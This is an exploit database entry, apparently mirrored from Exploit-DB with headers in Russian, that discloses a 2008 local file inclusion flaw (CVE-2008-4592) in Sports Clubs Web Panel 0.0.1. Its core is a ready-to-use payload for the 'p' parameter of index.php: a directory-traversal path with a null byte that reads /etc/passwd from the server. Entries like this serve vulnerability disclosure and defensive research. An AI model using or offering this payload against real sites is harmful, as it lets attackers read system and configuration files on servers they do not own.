Exploit Sports Clubs Web Panel 0.0.1 - 'p' Local File Inclusion

[Exploiter]

EDB-ID

6427

Проверка EDB

1. Пройдено

Автор

STAKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-4592

Дата публикации

2008-09-11

--==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Local File Inclusion Vulnerability          +==--    
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ [email protected]
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

 [*] Vulnerability:
 
 [*] LFI
 [+] index.php?p= [File %00]
 [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00

# milw0rm.com [2008-09-11]